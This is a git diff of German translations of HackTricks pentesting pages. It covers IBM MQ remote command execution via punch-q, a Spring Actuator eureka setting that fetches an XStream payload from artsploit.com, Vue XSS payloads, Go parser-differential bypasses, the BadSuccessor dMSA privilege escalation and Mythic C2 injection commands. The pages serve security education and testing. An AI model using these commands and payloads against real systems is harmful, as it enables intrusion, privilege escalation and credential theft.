4. Führen Sie `sudo ./mqlicense.sh` aus, um die Lizenzbedingungen zu akzeptieren.
|
||||
|
||||
> Wenn Sie unter Kali Linux sind, ändern Sie die Datei `mqlicense.sh`: Entfernen/Kommentieren Sie die folgenden Zeilen (zwischen den Zeilen 105-110):
|
||||
>
|
||||
> ```bash
|
||||
> if [ ${BUILD_PLATFORM} != `uname`_`uname ${UNAME_FLAG}` ]
|
||||
> then
|
||||
> echo "ERROR: This package is incompatible with this system"
|
||||
> echo " This package was built for ${BUILD_PLATFORM}"
|
||||
> exit 1
|
||||
> then
|
||||
> echo "ERROR: This package is incompatible with this system"
|
||||
> echo " This package was built for ${BUILD_PLATFORM}"
|
||||
> exit 1
|
||||
> fi
|
||||
> ```
|
||||
|
||||
@ -44,9 +44,9 @@ sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesRuntime-9.0.0-4.
|
||||
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesClient-9.0.0-4.x86_64.rpm
|
||||
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesSDK-9.0.0-4.x86_64.rpm
|
||||
```
|
||||
6. Fügen Sie dann vorübergehend die `.so`-Dateien zu LD hinzu: `export LD_LIBRARY_PATH=/opt/mqm/lib64`, **bevor** Sie andere Tools verwenden, die diese Abhängigkeiten nutzen.
|
||||
6. Dann fügen Sie vorübergehend die `.so`-Dateien zu LD hinzu: `export LD_LIBRARY_PATH=/opt/mqm/lib64`, **bevor** Sie andere Tools verwenden, die diese Abhängigkeiten nutzen.
|
||||
|
||||
Dann können Sie das Projekt [**pymqi**](https://github.com/dsuch/pymqi) klonen: Es enthält interessante Code-Snippets, Konstanten usw. Oder Sie können die Bibliothek direkt mit: `pip install pymqi` installieren.
|
||||
Dann können Sie das Projekt [**pymqi**](https://github.com/dsuch/pymqi) klonen: Es enthält interessante Code-Snippets, Konstanten, ... Oder Sie können die Bibliothek direkt mit: `pip install pymqi` installieren.
|
||||
|
||||
### Verwendung von punch-q
|
||||
|
||||
@ -62,7 +62,7 @@ Danach kann es mit dem Befehl `punch-q` verwendet werden.
|
||||
|
||||
## Enumeration
|
||||
|
||||
Sie können versuchen, den **Queue-Manager-Namen, die Benutzer, die Kanäle und die Warteschlangen** mit **punch-q** oder **pymqi** aufzulisten.
|
||||
Sie können versuchen, den **Queue-Manager-Namen, die Benutzer, die Kanäle und die Warteschlangen** mit **punch-q** oder **pymqi** zu enumerieren.
|
||||
|
||||
### Queue-Manager
|
||||
|
||||
@ -82,9 +82,9 @@ Queue Manager name: MYQUEUEMGR
|
||||
```
|
||||
Es kommt vor, dass einige IBM MQ-Instanzen **unauthentifizierte** MQ-Anfragen akzeptieren, sodass `--username / --password` nicht benötigt wird. Natürlich können auch die Zugriffsrechte variieren.
|
||||
|
||||
Sobald wir einen Kanalnamen erhalten (hier: `DEV.ADMIN.SVRCONN`), können wir alle anderen Kanäle auflisten.
|
||||
Sobald wir einen Kanalnamen (hier: `DEV.ADMIN.SVRCONN`) erhalten, können wir alle anderen Kanäle auflisten.
|
||||
|
||||
Die Auflistung kann grundsätzlich mit diesem Code-Snippet `code/examples/dis_channels.py` aus **pymqi** durchgeführt werden:
|
||||
Die Auflistung kann grundsätzlich mit diesem Code-Snippet `code/examples/dis_channels.py` aus **pymqi** erfolgen:
|
||||
```python
|
||||
import logging
|
||||
import pymqi
|
||||
@ -121,7 +121,8 @@ logging.info('Found channel `%s`' % channel_name)
|
||||
qmgr.disconnect()
|
||||
|
||||
```
|
||||
... Aber **punch-q** enthält auch diesen Teil (mit mehr Informationen!). Es kann gestartet werden mit:
|
||||
... Aber **punch-q** enthält auch diesen Teil (mit mehr Informationen!).
|
||||
Es kann gestartet werden mit:
|
||||
```bash
|
||||
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show channels -p '*'
|
||||
Showing channels with prefix: "*"...
|
||||
@ -142,9 +143,9 @@ Showing channels with prefix: "*"...
|
||||
| SYSTEM.DEF.SVRCONN | Server-connection | | | | | |
|
||||
| SYSTEM.DEF.CLNTCONN | Client-connection | | | | | |
|
||||
```
|
||||
### Warteschlangen
|
||||
### Queues
|
||||
|
||||
Es gibt einen Codeausschnitt mit **pymqi** (`dis_queues.py`), aber **punch-q** ermöglicht es, mehr Informationen über die Warteschlangen abzurufen:
|
||||
Es gibt einen Code-Snippet mit **pymqi** (`dis_queues.py`), aber **punch-q** ermöglicht es, mehr Informationen über die Warteschlangen abzurufen:
|
||||
```bash
|
||||
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show queues -p '*'
|
||||
Showing queues with prefix: "*"...
|
||||
@ -168,7 +169,7 @@ Showing queues with prefix: "*"...
|
||||
```
|
||||
## Exploit
|
||||
|
||||
### Nachrichten dumpen
|
||||
### Dump messages
|
||||
|
||||
Sie können Warteschlange(n)/Kanal(e) anvisieren, um Nachrichten von ihnen abzuhören / zu dumpen (nicht-destruktive Operation). _Beispiele:_
|
||||
```bash
|
||||
@ -192,9 +193,9 @@ Sie können Warteschlange(n)/Kanal(e) anvisieren, um Nachrichten von ihnen abzuh
|
||||
>
|
||||
> Ein interessanter Befehl ist `MQCMD_CREATE_SERVICE` und seine Dokumentation ist [hier](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=formats-change-copy-create-service-multiplatforms) verfügbar. Er nimmt als Argument einen `StartCommand`, der auf ein lokales Programm auf der Instanz verweist (Beispiel: `/bin/sh`).
|
||||
>
|
||||
> Es gibt auch eine Warnung des Befehls in den Dokumenten: _"Achtung: Dieser Befehl erlaubt es einem Benutzer, einen beliebigen Befehl mit mqm-Berechtigungen auszuführen. Wenn die Rechte zur Nutzung dieses Befehls gewährt werden, könnte ein böswilliger oder nachlässiger Benutzer einen Dienst definieren, der Ihre Systeme oder Daten schädigt, zum Beispiel durch das Löschen wesentlicher Dateien."_
|
||||
> Es gibt auch einen Hinweis zu dem Befehl in den Dokumenten: _"Achtung: Dieser Befehl erlaubt es einem Benutzer, einen beliebigen Befehl mit mqm-Berechtigungen auszuführen. Wenn die Rechte zur Nutzung dieses Befehls gewährt werden, könnte ein böswilliger oder nachlässiger Benutzer einen Dienst definieren, der Ihre Systeme oder Daten schädigt, zum Beispiel durch das Löschen wesentlicher Dateien."_
|
||||
>
|
||||
> _Hinweis: Immer gemäß der IBM MQ-Dokumentation (Administrationsreferenz) gibt es auch einen HTTP-Endpunkt unter `/admin/action/qmgr/{qmgrName}/mqsc`, um den entsprechenden MQSC-Befehl zur Dienstcreation (`DEFINE SERVICE`) auszuführen. Dieser Aspekt ist hier noch nicht behandelt._
|
||||
> _Hinweis: Immer gemäß der IBM MQ-Dokumentation (Administration Reference) gibt es auch einen HTTP-Endpunkt unter `/admin/action/qmgr/{qmgrName}/mqsc`, um den entsprechenden MQSC-Befehl zur Dienstcreation (`DEFINE SERVICE`) auszuführen. Dieser Aspekt wird hier noch nicht behandelt._
|
||||
|
||||
Die Dienstcreation / -löschung mit PCF für die remote Programmausführung kann durch **punch-q** erfolgen:
|
||||
|
||||
@ -223,7 +224,7 @@ Giving the service 0 second(s) to live...
|
||||
Cleaning up service...
|
||||
Done
|
||||
```
|
||||
**Seien Sie sich bewusst, dass der Programmstart asynchron ist. Daher benötigen Sie ein zweites Element, um die Schwachstelle auszunutzen** **_(Listener für Reverse Shell, Dateierstellung auf einem anderen Dienst, Datenexfiltration über das Netzwerk ...)_**
|
||||
**Seien Sie sich bewusst, dass der Programmstart asynchron ist. Daher benötigen Sie ein zweites Element, um die Exploit zu nutzen** **_(Listener für Reverse Shell, Dateierstellung auf einem anderen Dienst, Datenexfiltration über das Netzwerk ...)_**
|
||||
|
||||
**Beispiel 2**
|
||||
|
||||
@ -244,7 +245,7 @@ Für Perl:
|
||||
```
|
||||
### Custom PCF
|
||||
|
||||
Sie können in die IBM MQ-Dokumentation eintauchen und direkt die **pymqi** Python-Bibliothek verwenden, um spezifische PCF-Befehle zu testen, die in **punch-q** nicht implementiert sind.
|
||||
Sie können in die IBM MQ-Dokumentation eintauchen und direkt die **pymqi** Python-Bibliothek verwenden, um spezifische PCF-Befehle zu testen, die nicht in **punch-q** implementiert sind.
|
||||
|
||||
**Beispiel:**
|
||||
```python
|
||||
@ -293,12 +294,12 @@ Wenn Sie die konstanten Namen nicht finden können, können Sie auf die [IBM MQ-
|
||||
> pcf = pymqi.PCFExecute(qmgr)
|
||||
>
|
||||
> try:
|
||||
> args = {2029: "*"}
|
||||
> response = pcf.MQCMD_REFRESH_CLUSTER(args)
|
||||
> args = {2029: "*"}
|
||||
> response = pcf.MQCMD_REFRESH_CLUSTER(args)
|
||||
> except pymqi.MQMIError as e:
|
||||
> print("Fehler")
|
||||
> print("Fehler")
|
||||
> else:
|
||||
> print(response)
|
||||
> print(response)
|
||||
>
|
||||
> qmgr.disconnect()
|
||||
> ```
|
||||
@ -308,14 +309,14 @@ Wenn Sie die konstanten Namen nicht finden können, können Sie auf die [IBM MQ-
|
||||
Wenn Sie das Verhalten und die Exploits von IBM MQ testen möchten, können Sie eine lokale Umgebung basierend auf Docker einrichten:
|
||||
|
||||
1. Ein Konto auf ibm.com und cloud.ibm.com haben.
|
||||
2. Erstellen Sie eine containerisierte IBM MQ mit:
|
||||
2. Erstellen Sie ein containerisiertes IBM MQ mit:
|
||||
```bash
|
||||
sudo docker pull icr.io/ibm-messaging/mq:9.3.2.0-r2
|
||||
sudo docker run -e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR -p1414:1414 -p9157:9157 -p9443:9443 --name testing-ibmmq icr.io/ibm-messaging/mq:9.3.2.0-r2
|
||||
```
|
||||
Standardmäßig ist die Authentifizierung aktiviert, der Benutzername ist `admin` und das Passwort ist `passw0rd` (Umgebungsvariable `MQ_ADMIN_PASSWORD`). Hier wurde der Name des Queue-Managers auf `MYQUEUEMGR` gesetzt (Variable `MQ_QMGR_NAME`).
|
||||
Standardmäßig ist die Authentifizierung aktiviert, der Benutzername ist `admin` und das Passwort ist `passw0rd` (Umgebungsvariable `MQ_ADMIN_PASSWORD`). Hier wurde der Name des Queue-Managers auf `MYQUEUEMGR` (Variable `MQ_QMGR_NAME`) gesetzt.
|
||||
|
||||
Sie sollten IBM MQ am Laufen haben, mit seinen exponierten Ports:
|
||||
Sie sollten IBM MQ installiert und ausgeführt haben, mit seinen exponierten Ports:
|
||||
```bash
|
||||
❯ sudo docker ps
|
||||
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
|
||||
@ -323,8 +324,10 @@ CONTAINER ID IMAGE COMMAND CRE
|
||||
```
|
||||
> Die alte Version der IBM MQ Docker-Images befindet sich unter: https://hub.docker.com/r/ibmcom/mq/.
|
||||
|
||||
## References
|
||||
## Referenzen
|
||||
|
||||
- [mgeeky's gist - "Practical IBM MQ Penetration Testing notes"](https://gist.github.com/mgeeky/2efcd86c62f0fb3f463638911a3e89ec)
|
||||
- [mgeeky's gist - "Praktische IBM MQ Penetration Testing Notizen"](https://gist.github.com/mgeeky/2efcd86c62f0fb3f463638911a3e89ec)
|
||||
- [MQ Jumping - DEFCON 15](https://defcon.org/images/defcon-15/dc15-presentations/dc-15-ruks.pdf)
|
||||
- [IBM MQ documentation](https://www.ibm.com/docs/en/ibm-mq)
|
||||
- [IBM MQ Dokumentation](https://www.ibm.com/docs/en/ibm-mq)
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
||||
@ -41,7 +41,7 @@ eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream
|
||||
```
|
||||
|
||||
3. **Weitere nützliche Einstellungen**:
|
||||
- Eigenschaften wie `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url` und `spring.datasource.tomcat.max-active` können für verschiedene Exploits manipuliert werden, wie SQL-Injection oder das Ändern von Datenbankverbindungszeichenfolgen.
|
||||
- Eigenschaften wie `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url` und `spring.datasource.tomcat.max-active` können für verschiedene Exploits manipuliert werden, wie SQL-Injection oder Ändern von Datenbankverbindungszeichenfolgen.
|
||||
|
||||
### **Zusätzliche Informationen:**
|
||||
|
||||
@ -62,3 +62,8 @@ Host: target.com
|
||||
Connection: close
|
||||
```
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
||||
@ -5,7 +5,7 @@
|
||||
## XSS Sinks in Vue.js
|
||||
|
||||
### v-html-Direktive
|
||||
Die `v-html`-Direktive rendert **rohes** HTML, sodass jedes `<script>` (oder ein Attribut wie `onerror`), das in unsaniertem Benutzereingang eingebettet ist, sofort ausgeführt wird.
|
||||
Die `v-html`-Direktive rendert **rohes** HTML, sodass jedes `<script>` (oder ein Attribut wie `onerror`), das in unsanierten Benutzereingaben eingebettet ist, sofort ausgeführt wird.
|
||||
```html
|
||||
<div id="app">
|
||||
<div v-html="htmlContent"></div>
|
||||
@ -54,7 +54,7 @@ Benutzereingereichte Namen in `v-bind:[attr]` oder `v-on:[event]` ermöglichen e
|
||||
<!-- userAttr = 'onerror', payload = 'alert(1)' -->
|
||||
```
|
||||
### Dynamische Komponente (`<component :is>`)
|
||||
Benutzerschnur in `:is` zuzulassen, kann beliebige Komponenten oder Inline-Vorlagen einfügen – gefährlich im Browser und katastrophal in SSR.
|
||||
Das Zulassen von Benutzerstrings in `:is` kann beliebige Komponenten oder Inline-Vorlagen einbinden – gefährlich im Browser und katastrophal in SSR.
|
||||
```html
|
||||
<component :is="userChoice"></component>
|
||||
<!-- userChoice = '<script>alert(1)</script>' -->
|
||||
@ -103,7 +103,7 @@ Der vollständige Vue-Build benötigt `unsafe-eval`; wechseln Sie zum Runtime-Bu
|
||||
```http
|
||||
Content-Security-Policy: default-src 'self'; script-src 'self';
|
||||
```
|
||||
### Supply-chain-Angriffe (node-ipc – März 2022)
|
||||
### Supply-Chain-Angriffe (node-ipc – März 2022)
|
||||
Die Sabotage von **node-ipc**—gezogen von Vue CLI—zeigte, wie eine transitive Abhängigkeit beliebigen Code auf Entwicklungsmaschinen ausführen kann. Versionen festlegen und häufig prüfen.
|
||||
```shell
|
||||
npm ci --ignore-scripts # safer install
|
||||
@ -115,7 +115,7 @@ npm ci --ignore-scripts # safer install
|
||||
1. **Sanitisiere** jeden String, bevor er `v-html` erreicht (DOMPurify).
|
||||
2. **Whitelist** erlaubte Schemes, Attribute, Komponenten und Events.
|
||||
3. **Vermeide `eval`** und dynamische Templates vollständig.
|
||||
4. **Patch Abhängigkeiten wöchentlich** und überwache Hinweise.
|
||||
4. **Patche Abhängigkeiten wöchentlich** und überwache Hinweise.
|
||||
5. **Sende starke HTTP-Header** (CSP, HSTS, XFO, CSRF).
|
||||
6. **Sichere deine Lieferkette** mit Audits, Lockfiles und signierten Commits.
|
||||
|
||||
|
||||
@ -14,7 +14,7 @@
|
||||
```
|
||||
requests_session.post(SERVER + "/?action=read&file=/bla", data=(payload + ("a" * (body_size - len(payload)))))
|
||||
|
||||
außer:
|
||||
except:
|
||||
pass
|
||||
```
|
||||
|
||||
@ -47,4 +47,4 @@ if **name** == "**main**": print('\[DEBUG] Creating requests session') requests\
|
||||
```
|
||||
|
||||
```
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
||||
127
src/pentesting-web/json-xml-yaml-hacking.md
Normal file
127
src/pentesting-web/json-xml-yaml-hacking.md
Normal file
@ -0,0 +1,127 @@
|
||||
# JSON, XML & Yaml Hacking & Issues
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Go JSON Decoder
|
||||
|
||||
Die folgenden Probleme wurden im Go JSON festgestellt, obwohl sie auch in anderen Sprachen vorhanden sein könnten. Diese Probleme wurden in [**diesem Blogbeitrag**](https://blog.trailofbits.com/2025/06/17/unexpected-security-footguns-in-gos-parsers/) veröffentlicht.
|
||||
|
||||
Go’s JSON-, XML- und YAML-Parser haben eine lange Liste von Inkonsistenzen und unsicheren Standardeinstellungen, die ausgenutzt werden können, um **Authentifizierung zu umgehen**, **Berechtigungen zu eskalieren** oder **sensible Daten zu exfiltrieren**.
|
||||
|
||||
### (Un)Marshaling Unerwarteter Daten
|
||||
|
||||
Das Ziel ist es, Strukturen auszunutzen, die es einem Angreifer ermöglichen, sensible Felder zu lesen/schreiben (z. B. `IsAdmin`, `Password`).
|
||||
|
||||
- Beispielstruktur:
|
||||
```go
|
||||
type User struct {
|
||||
Username string `json:"username,omitempty"`
|
||||
Password string `json:"password,omitempty"`
|
||||
IsAdmin bool `json:"-"`
|
||||
}
|
||||
```
|
||||
- Häufige Schwachstellen
|
||||
|
||||
1. **Fehlendes Tag** (kein Tag = Feld wird standardmäßig weiterhin analysiert):
|
||||
```go
|
||||
type User struct {
|
||||
Username string
|
||||
}
|
||||
```
|
||||
Nutzlast:
|
||||
```json
|
||||
{"Username": "admin"}
|
||||
```
|
||||
2. **Falsche Verwendung von `-`**:
|
||||
```go
|
||||
type User struct {
|
||||
IsAdmin bool `json:"-,omitempty"` // ❌ wrong
|
||||
}
|
||||
```
|
||||
Nutzlast:
|
||||
```json
|
||||
{"-": true}
|
||||
```
|
||||
✔️ Richtige Methode, um ein Feld vom (De)Serialisieren abzuhalten:
|
||||
```go
|
||||
type User struct {
|
||||
IsAdmin bool `json:"-"`
|
||||
}
|
||||
```
|
||||
### Parser-Differenzen
|
||||
|
||||
Das Ziel ist es, die Autorisierung zu umgehen, indem man ausnutzt, wie verschiedene Parser dasselbe Payload unterschiedlich interpretieren, wie in:
|
||||
- CVE-2017-12635: Apache CouchDB Umgehung über doppelte Schlüssel
|
||||
- 2022: Zoom 0-Klick RCE über XML-Parser-Inkonsistenz
|
||||
- GitLab 2025 SAML-Umgehung über XML-Eigenheiten
|
||||
|
||||
**1. Doppelte Felder:**
|
||||
Go's `encoding/json` nimmt das **letzte** Feld.
|
||||
```go
|
||||
json.Unmarshal([]byte(`{"action":"UserAction", "action":"AdminAction"}`), &req)
|
||||
fmt.Println(req.Action) // AdminAction
|
||||
```
|
||||
Andere Parser (z. B. Javas Jackson) können das **erste** nehmen.
|
||||
|
||||
**2. Groß-/Kleinschreibung:**
|
||||
Go ist nicht groß-/kleinschreibungsempfindlich:
|
||||
```go
|
||||
json.Unmarshal([]byte(`{"AcTiOn":"AdminAction"}`), &req)
|
||||
// matches `Action` field
|
||||
```
|
||||
Sogar Unicode-Tricks funktionieren:
|
||||
```go
|
||||
json.Unmarshal([]byte(`{"aKtionſ": "bypass"}`), &req)
|
||||
```
|
||||
**3. Cross-Service-Mismatch:**
|
||||
Stellen Sie sich vor:
|
||||
- Proxy, geschrieben in Go
|
||||
- AuthZ-Dienst, geschrieben in Python
|
||||
|
||||
Angreifer sendet:
|
||||
```json
|
||||
{
|
||||
"action": "UserAction",
|
||||
"AcTiOn": "AdminAction"
|
||||
}
|
||||
```
|
||||
- Python sieht `UserAction`, erlaubt es
|
||||
- Go sieht `AdminAction`, führt es aus
|
||||
|
||||
|
||||
### Datenformatverwirrung (Polyglots)
|
||||
|
||||
Das Ziel ist es, Systeme auszunutzen, die Formate (JSON/XML/YAML) mischen oder bei Parserfehlern offen bleiben, wie z.B.:
|
||||
- **CVE-2020-16250**: HashiCorp Vault analysierte JSON mit einem XML-Parser, nachdem STS JSON anstelle von XML zurückgegeben hatte.
|
||||
|
||||
Der Angreifer kontrolliert:
|
||||
- Den `Accept: application/json` Header
|
||||
- Teilweise Kontrolle des JSON-Körpers
|
||||
|
||||
Der XML-Parser von Go analysierte es **trotzdem** und vertraute der injizierten Identität.
|
||||
|
||||
- Ausgeklügelte Payload:
|
||||
```json
|
||||
{
|
||||
"action": "Action_1",
|
||||
"AcTiOn": "Action_2",
|
||||
"ignored": "<?xml version=\"1.0\"?><Action>Action_3</Action>"
|
||||
}
|
||||
```
|
||||
- **Go JSON** Parser: `Action_2` (nicht groß-/kleinschreibungsempfindlich + letzter gewinnt)
|
||||
- **YAML** Parser: `Action_1` (groß-/kleinschreibungsempfindlich)
|
||||
- **XML** Parser: parst `"Action_3"` innerhalb des Strings
|
||||
|
||||
|
||||
### 🔐 Minderung
|
||||
|
||||
| Risiko | Lösung |
|
||||
|-----------------------------|---------------------------------------|
|
||||
| Unbekannte Felder | `decoder.DisallowUnknownFields()` |
|
||||
| Duplizierte Felder (JSON) | ❌ Keine Lösung in der Standardbibliothek |
|
||||
| Groß-/Kleinschreibungsempfindliche Übereinstimmung | ❌ Keine Lösung in der Standardbibliothek |
|
||||
| XML-Mülldaten | ❌ Keine Lösung in der Standardbibliothek |
|
||||
| YAML: unbekannte Schlüssel | `yaml.KnownFields(true)` |
|
||||
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
@ -2,7 +2,7 @@
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
||||
Fault Injection Angriffe beinhalten das Einführen externer Störungen in elektronische Schaltungen, um deren Verhalten zu beeinflussen, was zur Offenlegung von Informationen oder sogar zum Umgehen bestimmter Einschränkungen in der Schaltung führen kann. Diese Angriffe eröffnen viele Möglichkeiten, elektronische Schaltungen anzugreifen. Dieser Angriff wird auch als Glitching von elektronischen Schaltungen bezeichnet.
|
||||
Fault Injection Angriffe beinhalten das Einführen externer Störungen in elektronische Schaltungen, um deren Verhalten zu beeinflussen, was zur Offenlegung von Informationen oder sogar zum Umgehen bestimmter Einschränkungen in der Schaltung führt. Diese Angriffe eröffnen viele Möglichkeiten, elektronische Schaltungen anzugreifen. Dieser Angriff wird auch als Glitching von elektronischen Schaltungen bezeichnet.
|
||||
|
||||
Es gibt viele Methoden und Mittel, um Fehler in eine elektronische Schaltung einzuspeisen.
|
||||
|
||||
|
||||
@ -17,7 +17,7 @@ Akamai-Forscher fanden heraus, dass ein einzelnes Attribut — **`msDS‑Managed
|
||||
|
||||
## Anforderungen für den Angriff
|
||||
1. **Mindestens ein Windows Server 2025 DC**, damit die dMSA LDAP-Klasse und die KDC-Logik existieren.
|
||||
2. **Beliebige Objekt-Erstellungs- oder Attribut-Schreibrechte auf einer OU** (beliebige OU) – z.B. `Create msDS‑DelegatedManagedServiceAccount` oder einfach **Create All Child Objects**. Akamai fand heraus, dass 91 % der realen Mandanten solche "harmlosen" OU-Berechtigungen an Nicht-Administratoren gewähren.
|
||||
2. **Beliebige Objekt-Erstellungs- oder Attribut-Schreibrechte auf einer OU** (beliebige OU) – z.B. `Create msDS‑DelegatedManagedServiceAccount` oder einfach **Create All Child Objects**. Akamai fand heraus, dass 91 % der realen Mandanten solche "harmlosen" OU-Berechtigungen an Nicht-Administratoren gewähren.
|
||||
3. Fähigkeit, Tools (PowerShell/Rubeus) von einem beliebigen domänenverbundenen Host auszuführen, um Kerberos-Tickets anzufordern.
|
||||
*Keine Kontrolle über den Opferbenutzer ist erforderlich; der Angriff berührt das Zielkonto niemals direkt.*
|
||||
|
||||
@ -32,7 +32,7 @@ New‑ADServiceAccount Attacker_dMSA `
|
||||
|
||||
Da Sie das Objekt innerhalb einer OU erstellt haben, auf die Sie schreiben können, besitzen Sie automatisch alle seine Attribute.
|
||||
|
||||
2. **Simulieren einer "abgeschlossenen Migration" in zwei LDAP-Schreibvorgängen**:
|
||||
2. **Simulieren Sie eine "abgeschlossene Migration" in zwei LDAP-Schreibvorgängen**:
|
||||
- Setzen Sie `msDS‑ManagedAccountPrecededByLink = DN` eines beliebigen Opfers (z.B. `CN=Administrator,CN=Users,DC=lab,DC=local`).
|
||||
- Setzen Sie `msDS‑DelegatedMSAState = 2` (Migration abgeschlossen).
|
||||
|
||||
@ -50,9 +50,9 @@ Das zurückgegebene PAC enthält jetzt die SID 500 (Administrator) sowie die Gru
|
||||
|
||||
Während legitimer Migrationen muss der KDC dem neuen dMSA erlauben, **Tickets zu entschlüsseln, die vor dem Übergang an das alte Konto ausgestellt wurden**. Um laufende Sitzungen nicht zu unterbrechen, platziert er sowohl aktuelle Schlüssel als auch vorherige Schlüssel in einem neuen ASN.1-Blob namens **`KERB‑DMSA‑KEY‑PACKAGE`**.
|
||||
|
||||
Da unsere gefälschte Migration behauptet, dass das dMSA dem Opfer nachfolgt, kopiert der KDC pflichtbewusst den RC4-HMAC-Schlüssel des Opfers in die **previous-keys**-Liste – selbst wenn das dMSA niemals ein "vorheriges" Passwort hatte. Dieser RC4-Schlüssel ist ungesalzen, sodass er effektiv der NT-Hash des Opfers ist, was dem Angreifer **offline cracking oder "pass-the-hash"**-Fähigkeiten verleiht.
|
||||
Da unsere gefälschte Migration behauptet, dass das dMSA das Opfer nachfolgt, kopiert der KDC pflichtbewusst den RC4-HMAC-Schlüssel des Opfers in die **previous-keys**-Liste – selbst wenn das dMSA niemals ein "vorheriges" Passwort hatte. Dieser RC4-Schlüssel ist ungesalzen, sodass er effektiv den NT-Hash des Opfers darstellt, was dem Angreifer **offline cracking oder "pass-the-hash"**-Fähigkeiten verleiht.
|
||||
|
||||
Daher ermöglicht das massenhafte Verlinken von Tausenden von Benutzern einem Angreifer, Hashes "in großem Maßstab" zu dumpen und verwandelt **BadSuccessor sowohl in ein Privilegieneskalations- als auch in ein Anmeldeinformationen-Kompromittierungsprimitive**.
|
||||
Daher ermöglicht das massenhafte Verknüpfen von Tausenden von Benutzern einem Angreifer, Hashes "in großem Maßstab" zu dumpen und **BadSuccessor sowohl zu einem Privilegieneskalations- als auch zu einem Anmeldeinformationen-Kompromittierungs-Primitive zu machen**.
|
||||
|
||||
## Werkzeuge
|
||||
|
||||
|
||||
@ -1,5 +1,7 @@
|
||||
# Mythic
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Was ist Mythic?
|
||||
|
||||
Mythic ist ein Open-Source, modulares Command and Control (C2) Framework, das für Red Teaming entwickelt wurde. Es ermöglicht Sicherheitsfachleuten, verschiedene Agenten (Payloads) über verschiedene Betriebssysteme hinweg zu verwalten und bereitzustellen, einschließlich Windows, Linux und macOS. Mythic bietet eine benutzerfreundliche Weboberfläche zur Verwaltung von Agenten, Ausführung von Befehlen und Sammlung von Ergebnissen, was es zu einem leistungsstarken Werkzeug zur Simulation von realen Angriffen in einer kontrollierten Umgebung macht.
|
||||
@ -25,7 +27,7 @@ Sie können mit dem vorherigen Befehl neue Agenten hinzufügen, auch wenn Mythic
|
||||
|
||||
C2-Profile in Mythic definieren **wie Agenten mit dem Mythic-Server kommunizieren**. Sie geben das Kommunikationsprotokoll, die Verschlüsselungsmethoden und andere Einstellungen an. Sie können C2-Profile über die Mythic-Weboberfläche erstellen und verwalten.
|
||||
|
||||
Standardmäßig wird Mythic ohne Profile installiert, jedoch ist es möglich, einige Profile aus dem Repo [**https://github.com/MythicC2Profiles**](https://github.com/MythicC2Profiles) herunterzuladen, indem Sie Folgendes ausführen:
|
||||
Standardmäßig wird Mythic ohne Profile installiert, es ist jedoch möglich, einige Profile aus dem Repo [**https://github.com/MythicC2Profiles**](https://github.com/MythicC2Profiles) herunterzuladen, indem Sie Folgendes ausführen:
|
||||
```bash
|
||||
sudo ./mythic-cli install github https://github.com/MythicC2Profiles/<c2-profile>>
|
||||
sudo ./mythic-cli install github https://github.com/MythicC2Profiles/http
|
||||
@ -34,7 +36,7 @@ sudo ./mythic-cli install github https://github.com/MythicC2Profiles/http
|
||||
|
||||
Apollo ist ein Windows-Agent, der in C# unter Verwendung des .NET Framework 4.0 geschrieben wurde und für die Verwendung in den Schulungsangeboten von SpecterOps konzipiert ist.
|
||||
|
||||
Installiere es mit:
|
||||
Installieren Sie es mit:
|
||||
```bash
|
||||
./mythic-cli install github https://github.com/MythicAgents/Apollo.git
|
||||
```
|
||||
@ -71,14 +73,14 @@ Dieser Agent hat viele Befehle, die ihn sehr ähnlich zu Cobalt Strike's Beacon
|
||||
|
||||
### Prozesse ausführen
|
||||
|
||||
- `assembly_inject`: Ermöglicht das Injizieren eines .NET-Assembly-Loaders in einen Remote-Prozess
|
||||
- `assembly_inject`: Ermöglicht das Injizieren eines .NET-Assembly-Laders in einen Remote-Prozess
|
||||
- `execute_assembly`: Führt eine .NET-Assembly im Kontext des Agents aus
|
||||
- `execute_coff`: Führt eine COFF-Datei im Speicher aus, was die Ausführung von kompiliertem Code im Speicher ermöglicht
|
||||
- `execute_pe`: Führt eine unmanaged ausführbare Datei (PE) aus
|
||||
- `inline_assembly`: Führt eine .NET-Assembly in einem temporären AppDomain aus, was die temporäre Ausführung von Code ermöglicht, ohne den Hauptprozess des Agents zu beeinträchtigen
|
||||
- `run`: Führt eine Binärdatei auf dem Zielsystem aus, wobei der PATH des Systems verwendet wird, um die ausführbare Datei zu finden
|
||||
- `shinject`: Injiziert Shellcode in einen Remote-Prozess, was die Ausführung von beliebigem Code im Speicher ermöglicht
|
||||
- `inject`: Injiziert Agent-Shellcode in einen Remote-Prozess, was die Ausführung des Codes des Agents im Speicher ermöglicht
|
||||
- `inject`: Injiziert Agenten-Shellcode in einen Remote-Prozess, was die Ausführung des Codes des Agents im Speicher ermöglicht
|
||||
- `spawn`: Startet eine neue Agentensitzung im angegebenen ausführbaren Programm, was die Ausführung von Shellcode in einem neuen Prozess ermöglicht
|
||||
- `spawnto_x64` und `spawnto_x86`: Ändert die Standard-Binärdatei, die in Post-Exploitation-Jobs verwendet wird, auf einen angegebenen Pfad, anstatt `rundll32.exe` ohne Parameter zu verwenden, was sehr laut ist.
|
||||
|
||||
@ -109,7 +111,7 @@ Nachdem ein Modul geladen wurde, erscheint es in der Liste als ein weiterer Befe
|
||||
|
||||
